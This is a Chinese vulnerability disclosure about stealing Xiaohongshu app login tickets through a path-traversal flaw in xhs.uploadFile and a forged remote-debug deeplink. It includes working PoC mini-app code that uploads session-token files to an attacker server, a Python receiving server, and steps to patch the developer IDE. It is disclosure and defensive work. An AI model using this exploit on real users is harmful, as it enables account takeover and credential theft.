声明
仅用于学习交流,禁止用于非法用途
版本信息
版本号:8.45.0.433e496,包名:com.xingin.xhs,系统:Android
问题说明
这个漏洞的成因有两点,分别在小红书 APP 的 MiniAPP SDK 与小红书开发者 IDE 的真机调试组件上:
-
xhs.uploadFile 存在路径穿越漏洞,可以任意上传 APP 沙箱内文件到攻击者服务器 -
通过 xhsdiscover://miniapp/{appid}_debug?remote={aes_encrypt} Deeplink 可以在小红书 APP 中打开调试 Miniapp,其中 aes_encrypt 参数包含加密后的远程调试服务 IP,以及 TOKEN,TOKEN 包含过期时间。通过逆向小红书开发者 IDE,可以在没有合法 APPID 的情况下(不需要经过小程序安全合规审查),生成不过期的,远程调试服务是公网 IP 的恶意 Miniapp 调试 Deeplink
结合以上两点,攻击者的攻击路径如下:
-
使用 xhs.uploadFile 编写恶意 Miniapp,用户访问该 Miniapp 即可导致包含登录票据的文件被上传到攻击者服务器 -
生成该恶意 Miniapp 的调试 Deeplink,并在互联网上传播:恶意网页跳转 Deeplink,扫码等都是攻击入口
最终实现:受害者扫码,恶意网页 1-click 跳转等即可导致登录票据被窃取
技术细节
xhs.uploadFile 实现分析
调用方法
xhs.uploadFile 方法可以将一个本地文件通过 POST 请求上传。如下所示,其中 filePath 参数指定本地文件路径,此处是通过路径穿越上传 APP 沙箱中的 shared_prefs/ssoconfig.xml 文件
var upTask = xhs.uploadFile({
url: 'https://baidu.com?k=hahaha',
filePath: 'xhsfile://usr/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../data/data/com.xingin.xhs/shared_prefs/ssoconfigs.xml',
name: 'k',
formData: {},
success: (result) => {
xhs.showToast({
title: '上传成功',
icon: 'none',
image: '',
duration: 1500,
mask: false,
success: (result) => {
},
fail: () => {},
complete: () => {}
});
},
fail: () => {},
complete: () => {}
});
filePath 参数解析
-
判断 filePath 参数是相对路径还是 URI
-
对于 URI 类型的 filePath 处理存在路径穿越
如下图所示,在将 xhsfile://这类 MiniApp 的文件协议路径转换为 Android 真实路径时,是直接拼接的,因此存在路径穿越问题
存在路径穿越漏洞
在 APP 上打开 POC 小程序,使用 Burp 抓包,发现 APP 沙箱内的文件被成功上传
生成小程序调试 Deeplink
强制打开真机调试
在创建项目时随便输入一个 APPID,会提示 APPID 不合法,没有权限开启真机调试。可以打 Patch 绕过,强制打开真机调试。修改 apprendererwindowsproject-mainindex.js 文件,如下图所示,有两处 Patch 点,修改后即可正常打开真机调试
修改真机调试 Deeplink 过期时间
如下图所示,修改 apprendererwindowsproject-mainindex.js 中的 TOKEN_EXPIRE = 6e10,TOKEN_EXPIRE 表示 Deeplink 中的 TOKEN 字段的过期时间,单位为 ms,修改为一个较大值即可
修改调试服务绑定 IP
如下图所示,apprendererwindowsproject-mainindex.js 中的 getDebuggerDeeplink
函数负责生成 Deeplink,this.debugIP 为调试服务地址,可以将本地的调试服务通过 Frp 等内网穿透工具映射到公网,然后修改 this.debugIP
为对应的公网地址即可。由此就形成了远程攻击入口
完整 POC
恶意 MiniAPP
核心代码如下,/data/data/com.xingin.xhs/files/mmkv/com.xingin.xhs 文件中包含完整的用户票据,http://192.168.137.1 是攻击者接收票据的服务器
var upTask = xhs.uploadFile({
url: 'http://192.168.137.1:8000',
filePath: 'xhsfile://usr/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../data/data/com.xingin.xhs/files/mmkv/com.xingin.xhs',
name: 'k',
formData: {},
success: (result) => {
xhs.showToast({
title: '上传成功' + JSON.stringify(result),
icon: 'none',
image: '',
duration: 1500,
mask: false,
success: (result) => {
},
fail: () => {},
complete: () => {}
});
},
fail: (r4) => {
xhs.showToast({
title: JSON.stringify(r4),
icon: 'none',
image: '',
duration: 1500,
mask: false,
success: (result) => {
},
fail: () => {},
complete: () => {}
});
},
complete: () => {}
});
接收票据服务器
from **http**.**server** import **HTTPServer**, **BaseHTTPRequestHandler**
import **json**
data = {'result': 'this is a test'}
host = ('0.0.0.0', 8000)
class **Resquest**(**BaseHTTPRequestHandler**):
def **do_GET**(self):
self.**send_response**(200)
self.**send_header**('Content-type', 'application/json')
self.**end_headers**()
self.wfile.**write**(**json**.**dumps**(data).**encode**())
def **do_POST**(self):
datas = self.rfile.**read**(**int**(self.headers['content-length']))
**print**("接收到用户票据, 储存于output.txt")
with **open**("output.txt", "w") as f:
f.**write**('headers' + self.headers)
f.**write**("do post:" + self.path + self.client_address + datas)
f.**flush**()
if __name__ == '__main__':
server = **HTTPServer**(host, **Resquest**)
**print**("Starting server, listen at: %s:%s" % host)
server.**serve_forever**()
在开发者 IDE 中生成真机调试 Deeplink 与二维码
根据前文提到的技术细节中的生成小程序调试 Deeplink 部分,Patch 小红书开发者 IDE 生成调试二维码即可,二维码内容即是 Deeplink
验证
回传的文件如下,包含 secure_session, user_token, userid, redid 等所有票据
演示视频
修复建议
-
检查 filePath 参数的路径穿越问题 -
为真机调试添加入口限制
原文始发于微信公众号(网络空间威胁观察):小红书APP扫码窃取登录票据漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论